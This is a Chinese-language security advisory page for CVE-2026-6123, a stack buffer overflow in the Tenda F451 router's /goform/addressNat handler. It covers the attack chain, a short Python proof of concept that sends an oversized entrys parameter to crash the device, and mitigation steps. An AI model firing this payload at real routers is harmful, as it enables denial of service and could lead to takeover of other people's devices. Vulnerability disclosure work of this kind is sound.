IPBUF安全漏洞报告
English
CVE-2026-6123 CVSS 8.8 高危

CVE-2026-6123 Tenda F451 栈缓冲区溢出漏洞

披露日期: 2026-04-12

漏洞信息

漏洞编号
CVE-2026-6123
漏洞类型
栈缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda F451

相关标签

缓冲区溢出Tenda路由器RCEIoT

漏洞概述

Tenda F451路由器(版本1.0.0.7)的httpd组件中存在严重的安全漏洞。该漏洞位于/goform/addressNat接口的fromAddressNat函数中,由于未正确过滤用户提交的entrys参数,导致攻击者可以通过发送特制的数据包触发基于栈的缓冲区溢出。鉴于该产品暴露于网络环境且仅需低权限即可利用,此漏洞可能被远程攻击者利用以执行任意代码、造成服务拒绝或窃取敏感数据,对设备的安全性构成严重威胁。

技术细节

该漏洞的根本原因在于Tenda F451路由器固件中httpd服务对用户输入的验证机制缺失。具体而言,在处理/goform/addressNat请求时,`fromAddressNat`函数直接调用了不安全的内存拷贝函数(如`strcpy`或`sprintf`),将HTTP请求中的`entrys`参数内容复制到栈上的固定长度缓冲区中。由于程序未对输入数据的长度进行边界检查,当攻击者发送超长字符串时,多余的数据将溢出缓冲区边界,覆盖栈上的返回地址或其他关键寄存器。利用方式上,攻击者首先需要通过网络访问目标设备,并具备低权限账户。随后,构造包含特定Shellcode或ROP链的恶意载荷,将其作为`entrys`参数的值发送给目标端点。当函数执行完毕试图返回时,CPU会跳转到被覆盖的地址执行攻击者预设的指令,最终导致攻击者获得设备的最高控制权。

攻击链分析

STEP 1
信息收集
攻击者扫描网络,识别出Tenda F451设备及其固件版本。
STEP 2
获取认证
攻击者利用弱口令或默认凭证获取设备的低权限访问(PR:L)。
STEP 3
发送恶意载荷
攻击者向/goform/addressNat端点发送包含超长entrys参数的特制HTTP请求。
STEP 4
触发溢出
fromAddressNat函数处理参数时发生栈缓冲区溢出,覆盖返回地址。
STEP 5
执行代码
程序控制流被劫持,执行攻击者注入的恶意代码,导致设备被完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL target_url = "http://<target_ip>/goform/addressNat" # Vulnerable parameter 'entrys' with buffer overflow pattern # Using a simple pattern of 'A's to trigger the crash payload = { "entrys": "A" * 1000 # Adjust length based on buffer size } # Headers (may require authentication cookies if PR:L is enforced) headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending POST request to trigger the vulnerability response = requests.post(target_url, data=payload, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") except Exception as e: print(f"Exploitation attempt failed or service crashed: {e}")

影响范围

Tenda F451 1.0.0.7

防御指南

临时缓解措施
建议用户立即关注厂商官网发布的固件更新,并在更新前限制对Web管理界面的网络访问(如仅允许本地访问)。同时,务必修改路由器默认的管理员账户和密码,防止被轻易获取低权限账号。若无法立即更新,可考虑暂时关闭路由器的远程管理功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表